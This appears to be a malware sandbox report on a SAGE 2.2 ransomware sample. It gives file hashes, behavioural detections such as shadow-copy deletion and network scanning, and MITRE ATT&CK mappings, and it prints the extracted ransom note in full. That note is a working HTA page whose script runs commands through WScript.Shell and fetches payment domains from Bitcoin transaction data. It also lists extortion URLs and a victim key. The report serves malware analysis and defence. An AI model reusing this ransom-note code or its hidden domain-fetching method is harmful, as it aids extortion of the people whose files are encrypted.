General
-
Target
RNSM00348.7z
-
Size
8.1MB
-
Sample
241110-s85syszdkq
-
MD5
74af02587adf272cdd45bbcccd66da4a
-
SHA1
cf4703a38ea02d566a3cd5f42e8d1944ede47fab
-
SHA256
1268b4063016174364afe89680b40b35aab7b1908b72edec7a5138cd3ac69763
-
SHA512
9c4011e17862e9daaffeaf75c1e315cbeb1da5723219bd691fab4ccdb69e9ab91fd9a066c2de31122b2447f6176e5278789ab2999f73253b96427addec320d45
-
SSDEEP
196608:/oMxaBJTA6Xn8nhZl4RMb8LUszeS8JNoE+Pq5GwA8d9q:AMQbTrXnIGgUeFow59q
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Music\!HELP_SOS.hta
Ransom Note
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Decryption Instructions</title>
<HTA:APPLICATION ID='App' APPLICATIONNAME="Decryption Instructions" SCROLL="yes" SINGLEINSTANCE="yes" WINDOWSTATE="maximize">
<style>
a {
color: #04a;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
body {
background-color: #e7e7e7;
color: #222;
font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif;
font-size: 12pt;
line-height: 16pt;
}
body, h1 {
margin: 0;
padding: 0;
}
h1 {
color: #555;
text-align: center;
padding-bottom: 1.5em;
}
h2 {
color: #555;
text-align: center;
}
ol li {
padding-bottom: 13pt;
}
.container {
background-color: #EEE;
border: 2pt solid #C7C7C7;
margin: 3%;
min-width: 600px;
padding: 5% 10%;
color: #444;
}
.filecontainer{
padding: 5% 10%;
display: none;
}
.header {
border-bottom: 2pt solid #c7c7c7;
padding-bottom: 5%;
}
.hr {
background: #bda;
display: block;
height: 2pt;
margin-top: 1.5%;
margin-bottom: 1.5%;
overflow: hidden;
width: 100%;
}
.key{
background-color: #A1D490;
border: 1px solid #506A48;
display: block;
text-align: center;
margin: 0.5em 0;
padding: 1em 1.5em;
word-wrap: break-word;
}
.keys{
margin: 3em 0;
}
.filename{
border: 3px solid #AAA;
display: block;
text-align: center;
margin: 0.5em 0em;
padding: 1em 1.5em;
background-color: #DCC;
}
.us{
text-decoration: strong;
color: #333;
}
.info{
background-color: #E4E4E4;
padding: 0.5em 3em;
margin: 1em 0;
}
.text{
text-align: justify;
}
#file{
background-color: #FCC;
}
.lsb{
display: none;
margin: 3%;
text-align: center;
}
.ls{
border: 1px solid #888;
border-radius: 3px;
padding: 0 0.5em;
margin: 1em 0.1em;
line-height: 2em;
display: inline-block;
}
.ls:hover{
background-color: #D0D0D0;
}
.l{
display:none;
}
.lu{
display:none;
}
</style>
<script language="vbscript">
Function GetCmd
GetCmd = App.commandLine
End Function
</script>
<script language="javascript">
function openlink(url){
new ActiveXObject("WScript.Shell").Run(url);
return false;
}
function aIndexOf(arr, v){
for(var i = 0; i < arr.length; i++) if(arr[i] == v) return i;
return -1;
}
function tweakClass(cl, f){
var els;
if(document.getElementByClassName != null){
els = document.getElementsByClassName(cl);
}
else{
els = [];
var tmp = document.getElementsByTagName('*');
for (var i = 0; i < tmp.length; i++){
var c = tmp[i].className;
if( (c == cl) || ((c.indexOf(cl) != 1) && ((' '+c+' ').indexOf(' '+cl+' ') != -1)) ) els.push(tmp[i]);
}
}
for(var i = 0; i < els.length; i++) f(els[i]);
}
function show(el){ el.style.display = 'block'; }
function hide(el){ el.style.display = 'none'; }
var langs = ["en","de","it","pt","es","fr","kr","nl","ar","fa","zh"];
function setLang(lang){
if(aIndexOf(langs, lang) == -1) lang = langs[0];
for(var i = 0; i < langs.length; i++){
var clang = langs[i];
tweakClass('l-'+clang, function(el){ el.style.display = (clang == lang) ? 'block' : 'none'; });
tweakClass('ls-'+clang, function(el){ el.style.backgroundColor = (clang == lang) ? '#BBB' : ''; });
}
}
function newXHR() {
if (window.XMLHttpRequest) return new window.XMLHttpRequest;
try {
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
catch(error) {
return null;
}
}
function getPage(url, cb) {
try{
var xhr = newXHR();
if(!xhr) return cb('no xhr');
xhr.onreadystatechange = function() {
if(xhr.readyState != 4) return;
if(xhr.status != 200 || !xhr.responseText) return cb(xhr.status)
cb(null, xhr.responseText);
};
xhr.open("GET", url+((url.indexOf('?') == -1) ? "?" : "&") + "_=" + new Date().getTime(), true);
xhr.send();
}
catch(e){
cb(e);
}
}
function decodeTxString(hex){
var m = '0123456789abcdef';
var s = '';
var c = 0xAA;
hex = hex.toLowerCase();
for(var i = 0; i < hex.length; i+=2){
var a = m.indexOf(hex.charAt(i));
var b = m.indexOf(hex.charAt(i+1));
if(a == -1 || b == -1) throw hex[i]+hex[i+1]+' '+a+' '+b;
s+= String.fromCharCode(c = (c ^ ((a << 4) | b)));
}
return s;
}
var OR = 'OP_RE'+'TURN ';
var sources = [
{bp:'btc.b'+'lockr.i'+'o/api/v1/', txp:'tx/i'+'nfo/', adp:'add'+'ress/txs/',
ptxs: function(json){
if(json.status != 'success') return null;
var res = [];
for(var i = 0; i < json.data.txs.length - 1; i++) res.push(json.data.txs[i].tx);
return res;
},
ptx: function(json){
if(json.status != 'success') return null;
var os = json.data.vouts;
for(var i = 0; i < os.length; i++) if(os[i].extras.asm.indexOf(OR) == 0) return decodeTxString(os[i].extras.asm.substr(10));
return null;
}
},
{bp:'ch'+'ain.s'+'o/api/v2/', txp:'get_t'+'x_out'+'puts/btc/', adp:'get_tx_uns'+'pent/btc/',
ptxs: function(json){
if(json.status != 'success') return null;
var res = [];
for(var i = json.data.txs.length - 1; i >= 0; i--) res.push(json.data.txs[i].txid);
return res;
},
ptx: function(json){
if(json.status != 'success') return null;
var os = json.data.outputs;
for(var i = 0; i < os.length; i++) if(os[i].script.indexOf(OR) == 0) return decodeTxString(os[i].script.substr(10));
return null;
}
},
{bp:'bit'+'aps.co'+'m/api/', txp:'trans'+'action/', adp:'ad'+'dress/tra'+'nsactions/', adpb:'/0/sen'+'t/all',
ptxs: function(json){
var res = [];
for(var i = 0; i < json.length; i++) res.push(json[i][1]);
return res;
},
ptx: function(json){
var os = json.output;
for(var i = 0; i < os.length; i++) if(os[i].script.asm.indexOf(OR) == 0) return decodeTxString(os[i].script.asm.substr(10));
return null;
}
},
{bp:'api.b'+'lockcyp'+'her.com/v1/b'+'tc/main/', txp:'txs/', adp:'addrs/',
ptxs: function(json){
var res = [];
var m = {};
for(var i = 0; i < json.txrefs.length; i++){
var tx = json.txrefs[i].tx_hash;
if(m[tx]) continue;
m[tx] = 1;
res.push(tx);
}
return res;
},
ptx: function(json){
var os = json.outputs;
for(var i = 0; i < os.length; i++) if(os[i].data_hex != null) return decodeTxString(os[i].data_hex);
return null;
}
}
];
function eachUntil(a,f,c){
var i = 0;
var n = function(){
if(i >= a.length) return c('f');
f(a[i++], function(err, res){
if(err == null) return c(null, res);
n();
});
};
n();
}
function getJson(url, cb){
getPage(url, function(err, res){
if(err != null) return cb(err);
var json;
try{
if(window.JSON && window.JSON.parse){
json = window.JSON.parse(res);
}
else{
json = eval('('+res+')');
}
}
catch(e){
cb(e);
}
cb(null, json);
});
}
function getDomains(ad, cb){
eachUntil(sources, function(s, cb){
var url = 'http://'+s.bp;
url+= s.adp+ad;
if(s.adpb) url+= s.adpb;
getJson(url, function(err, json){
if(err != null) return cb(err);
try{
cb(null, s.ptxs(json));
}
catch(e){
cb(e);
}
});
}, function(err, txs){
if(err != null) return cb(err);
if(txs.length == 0) return cb('f');
eachUntil(txs, function(tx, cb){
eachUntil(sources, function(s, cb){
var url = 'http://'+s.bp+s.txp+tx;
getJson(url, function(err, json){
if(err != null) return cb(err);
try{
cb(null, s.ptx(json));
}
catch(e){
cb(e);
}
});
}, function(err, res){
if(err != null) return cb(err);
if(res == null) return cb('f');
cb(null, res.split(':'));
});
}, cb);
});
}
function updateLinks(){
tweakClass('lu', hide);
tweakClass('lu-updating', show);
getDomains('1783wBG'+'sr'+'1zkxenfE'+'ELXA25PLSkL'+'dfJ4B7', function(err, ds){
tweakClass('lu', hide);
if(err != null){
tweakClass('lu-error', show);
// tweakClass('links', function(el){ el.innerHTML = err; });
return;
}
tweakClass('lu-done', show);
var html = '';
for(var i = 0; i < ds.length; i++) html+= '<div class="key"><a href="http://7gie6ffnkrjykggd.'+ds[i]+'/login/AdOlf_hQVVjzkGnF0pkWOGt-SIbHMEkcQ2c4bsBbkdET0IZytdPfNAXA" onclick="javascript:return openlink(this.href)">http://7gie6ffnkrjykggd.'+ds[i]+'/</a></div>';
tweakClass('links', function(el){
el.innerHTML = html;
});
});
return false;
}
function onPageLoaded(){
try{
tweakClass('lsb', show);
}catch(e){}
try{
tweakClass('lu-orig', show);
}catch(e){}
try{
setLang('en');
}catch(e){}
try{
var args = GetCmd().match(/"[^"]+"|[^ ]+/g);
if(args.length > 1){
var file = args[args.length-1];
if(file.charAt(0) == '"' && file.charAt(file.length-1) == '"') file = file.substr(1, file.length-2);
document.getElementById('filename').innerHTML = file;
show(document.getElementById('file'));
document.title = 'File is encrypted';
}
}catch(e){}
}
</script>
</head>
<body onload='javascript:onPageLoaded()'>
<div class='lsb'>
<span class='ls ls-en' onclick="javascript:return setLang('en')">English</span>
<span class='ls ls-de' onclick="javascript:return setLang('de')">Deutsch</span>
<span class='ls ls-it' onclick="javascript:return setLang('it')">Italiano</span>
<span class='ls ls-pt' onclick="javascript:return setLang('pt')">Português</span>
<span class='ls ls-es' onclick="javascript:return setLang('es')">Español</span>
<span class='ls ls-fr' onclick="javascript:return setLang('fr')">Français</span>
<span class='ls ls-kr' onclick="javascript:return setLang('kr')">한국어</span>
<span class='ls ls-nl' onclick="javascript:return setLang('nl')">Nederlands</span>
<span class='ls ls-ar' onclick="javascript:return setLang('ar')">العربية</span>
<span class='ls ls-fa' onclick="javascript:return setLang('fa')">فارسی</span>
<span class='ls ls-zh' onclick="javascript:return setLang('zh')">中文</span>
</div>
<div id='file' class='container filecontainer'>
<div class='filename'>
<div style='float:left; padding:18px 0'><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAABACAYAAACz4p94AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAARCQAAEQkAGJrNK4AAAAB3RJTUUH4QEcFBoaYAOrHQAABThJREFUaN7tmlloXGUUx3/3ziRtTa2xcZ1gtaJFDFjtwSqllaKiiEilKOKDNS2UivXF+qD0QRBRUMQXN/TBBcFifahYFC0urfpghSMqaDSkdQMvojZpIk2zTMaHe776MZ17M6u9ozkwzAwz3/ed/9m+s9yABkhEUFX/+43ATcBy4FxgMdABTAB/Aj8CXwO7VfVdb10AlPy9aqGgTuYDVS3Z56XA48AtdWz1OrBdVQ82AiaoVfJATlWLIrIAeAbYWKciS975LwJ3q+pEJQ03DYRJKVDVGRFZCew0kylnqFaaAULgB+B2Vd1fru3ZKFcDAFS1JCLXA7uBMxs1S29t0fzn5kKhMBBF0WAURYgIURQ1DsIAhKaBVcAbwKk0l0JgGlgIrCkUChpF0U/VAgmrOCBvPrAEeBY4jdZQ3jRyDvCEiJxl2ne+mLowTQs5VZ0yJ95mobMaRx0A3gMGgSPAycCFwHXARQlrfKFeDjwMbG7IsT0zKorIauBtYFGFvxY9s3wZ2Kaqwyn7dgNPpkQ1t9/PwGZV3TNbxErThAOwCOhPADBtexwGNqrqrrR4bxFnBNgkIm8CrwFdCX66BNgA7KlLE2aDeVWdFpHlwPsVfMEBGAXuUtUd1YRGH6CIrLdAESZoYxC4Q1U/r8exQwMQAFdb+CuP7U6LO6oF4MK0d+47ZlpJfJ0HXFsm3OpB2HsPsCZBUtgF9VSZo85KFq7zqnrUTOq3ChYyA3QCq7x1NYFwZnYKsKJCFOqwz59YJKo5VTAmAQ4CuxKiHUCviCyryZzMhIqeOnsSDh8B9qnqTJqU0kKyAT8MfJwiyB5gWa0+ETjGgPOBeQkSGgG+rPdmM99wfjUEHEoA0Q0srRmEaSRv+VFHAogx84lGyO01ChxI+E8XcHq9aUdnhahU8uL471bszJoWVEFHbL8kHhfXCyIE5qesGXX+UW9F5mli0jSbRPMaAdGZ8vtUtSG1ykg1mXIRdzaaxVYjSU7kPmFKaAsq5DW+dBY2WAyV89GV8ntXran4tGfzW4B7K0grAI5WMIF6zAjgD2ATsDXhrPFaGwGZJhE59jrOPMraMIuBK4EzTFqlE8x7YNr6TFUP+dkwQCAiobuhRWQt8DTQl2FlfAtsVdW9DoyviUeA7U1owbSSfL4eU9UHjlVRInI/8FDGATizcvytLhQKQRRFewMRuQJ4y+y/Xcg13IaA/tBCWxftRe5+uwC4NQTWzpabZFgbAFeF1qzKtSEIp40+l+QFtC91hvwHaA7E/xlEKesgZrz6u19VA/eytH64FUGkmSCKtt8XwKWq+opL0GxE8AKwknh6mkkQ03bXRMTT0F9d7m/pfdGy5SHgPtclyRoIZyLfAR95APC6If4A5sOsgfB7UQe88jbJoceI+6+ZdeyOKrWWzxqIwJN+H/F8rlJDzR8XrMiyT1wM3OnX7V797oBeQzxYbF6lJCLTTcpi3fhrBNiiqjsrNCBuIx5Ozs+qT+SJW5vdxHPoS3yHlrjH8nyzAbTCsZ1ZjfPPoMa/DMdpAc0lgHMg2gREqcxPSrSoHdoqx+4Ceu3Sc4x3c/wkNpMgclZT9AIPisjZFl57gUeZZeKThcuuvDhyAppsFfOt9gl/385/w7FLtDmFwF9ebdxO5IQ/HBIPLabaGMT+kLitP9GGAELi4ecHIfAqyc9VZJWc+SvwUi6KorFCofANsA44qQ0AuEfrfgHuUdWB0IqWT4Ebml3At4hywPfAelXd5y47sIfY7XbdQNytuwxYkCHmR4GvgOfcM4fGL38Dzdjo/H/3PFAAAAAASUVORK5CYII=" style='padding:0 7.5px'/></div>
<div>
<h2 class='l l-en' style='display:block'>The file is encrypted but can be restored</h2>
<h2 class='l l-de' >Die Datei ist verschlüsselt, aber kann wiederhergestellt werden</h2>
<h2 class='l l-it' >Il file è crittografato, ma può essere ripristinato</h2>
<h2 class='l l-pt' >O arquivo está criptografado, mas poderá ser descriptografado</h2>
<h2 class='l l-es' >El archivo está encriptado pero puede ser restaurado</h2>
<h2 class='l l-fr' >Le fichier est crypté mais peut être restauré</h2>
<h2 class='l l-kr' >파일은 암호화되었지만 복원 할 수 있습니다</h2>
<h2 class='l l-nl' >Het bestand is versleuteld maar kan worden hersteld</h2>
<h2 class='l l-ar' > الملف مشفر لكن من الممكن إسترجاعه </h2>
<h2 class='l l-fa' >این فایل رمزگذاری شده است اما می تواند بازیابی شود</h2>
<h2 class='l l-zh' >文件已被加密，但是可以解密</h2>
<p><span id='filename'></span></p>
</div>
</div>
<h2>The file you tried to open and other important files on your computer were encrypted by "SAGE 2.2 Ransomware".</h2>
<h2>Action required to restore your files.</h2>
</div>
<div class='container'>
<div class="text l l-en" style='display:block'>
<h1>File recovery instructions</h2>
<p>You probably noticed that you can not open your files and that some software stopped working correctly.</p>
<p>This is expected. Your files content is still there, but it was encrypted by <span class='us'>"SAGE 2.2 Ransomware"</span>.</p>
<p>Your files are not lost, it is possible to revert them back to normal state by decrypting.</p>
<p>The only way you can do that is by getting <span class='us'>"SAGE Decrypter"</span> software and your personal decryption key.</p>
<div class='info'>
<p>Using any other software which claims to be able to restore your files will result in files being damaged or destroyed.</p>
</div>
<p>You can purchase <span class='us'>"SAGE Decrypter"</span> software and your decryption key at your personal page you can access by following links:</p>
<div class='keys links'>
<div class='key'>
<a href="http://7gie6ffnkrjykggd.jktew0.com/login/AdOlf_hQVVjzkGnF0pkWOGt-SIbHMEkcQ2c4bsBbkdET0IZytdPfNAXA" onclick='javascript:return openlink(this.href)'>http://7gie6ffnkrjykggd.jktew0.com/</a>
</div>
<div class='key'>
<a href="http://7gie6ffnkrjykggd.jpo2z1.net/login/AdOlf_hQVVjzkGnF0pkWOGt-SIbHMEkcQ2c4bsBbkdET0IZytdPfNAXA" onclick='javascript:return openlink(this.href)'>http://7gie6ffnkrjykggd.jpo2z1.net/</a>
</div>
<div class='key'>
<a href="http://7gie6ffnkrjykggd.lfsjkad.net/login/AdOlf_hQVVjzkGnF0pkWOGt-SIbHMEkcQ2c4bsBbkdET0IZytdPfNAXA" onclick='javascript:return openlink(this.href)'>http://7gie6ffnkrjykggd.lfsjkad.net/</a>
</div>
<div class='key'>
<a href="http://7gie6ffnkrjykggd.yio3lvx.com/login/AdOlf_hQVVjzkGnF0pkWOGt-SIbHMEkcQ2c4bsBbkdET0IZytdPfNAXA" onclick='javascript:return openlink(this.href)'>http://7gie6ffnkrjykggd.yio3lvx.com/</a>
</div>
</div>
<div class='info lu lu-orig'>
<p>If none of these links work for you, <a href='#' onclick='javascript:return updateLinks()'><b>click here</b></a> to update the list.</p>
</div>
<div class='info lu lu-updating'>
<p>Updating links...</p>
</div>
<div class='info lu lu-error'>
<p>Something went wrong while updating links, please wait some time and <a href='#' onclick='javascript:return updateLinks()'><b>try again</b></a> or use "Tor Browser" method below.</p>
</div>
<div class='info lu lu-done'>
<p>Links updated, if new ones still don't work, please wait some time and <a href='#' onclick='javascript:return updateLinks()'><b>try again</b></a> or use "Tor Browser" method below.</p>
</div>
<p>If you are asked for your personal key, copy it to the form on the site. This is your personal key:</p>
<div class='keys'>
<div class='key'>
AdOlf_hQVVjzkGnF0pkWOGt-SIbHMEkcQ2c4bsBbkdET0IZytdPfNAXA
</div>
</div>
<p>You will also be able to decrypt one file for free to make sure "SAGE Decrypter" software is able to recover your files</p>
<div class='info'>
<p>If none of those links work for you for a prolonged period of time or you need your files recovered as fast as possible, you can also access your personal page using "Tor Browser".</p>
<p>In order to do that you need to:</p>
<ol>
<li>
URLs
http://'+s.bp
http://'+s.bp+s.txp+tx
Targets
-
-
Target
RNSM00348.7z
-
Size
8.1MB
-
MD5
74af02587adf272cdd45bbcccd66da4a
-
SHA1
cf4703a38ea02d566a3cd5f42e8d1944ede47fab
-
SHA256
1268b4063016174364afe89680b40b35aab7b1908b72edec7a5138cd3ac69763
-
SHA512
9c4011e17862e9daaffeaf75c1e315cbeb1da5723219bd691fab4ccdb69e9ab91fd9a066c2de31122b2447f6176e5278789ab2999f73253b96427addec320d45
-
SSDEEP
196608:/oMxaBJTA6Xn8nhZl4RMb8LUszeS8JNoE+Pq5GwA8d9q:AMQbTrXnIGgUeFow59q
Score10/10-
Disables service(s)
-
RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
-
Rms family
-
Contacts a large (7704) amount of remote hosts
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows
This may indicate a network scan to discover remotely running services.
-
Deletes shadow copies
Ransomware often targets backup files to inhibit system recovery.
-
Creates new service(s)
-
ACProtect 1.3x - 1.4x DLL software
Detects file using ACProtect software.
-
Executes dropped EXE
-
Loads dropped DLL
-
Adds Run key to start application
-
Network Share Discovery
Attempt to gather information on host network.
-
Power Settings
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
-
Enumerates processes with tasklist
-
UPX packed file
Detects executables packed with UPX/modified UPX open source packer.
-
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
2File Deletion
2Modify Registry
1Discovery
Network Service Discovery
2Network Share Discovery
1Process Discovery
1Remote System Discovery
1System Information Discovery
2System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1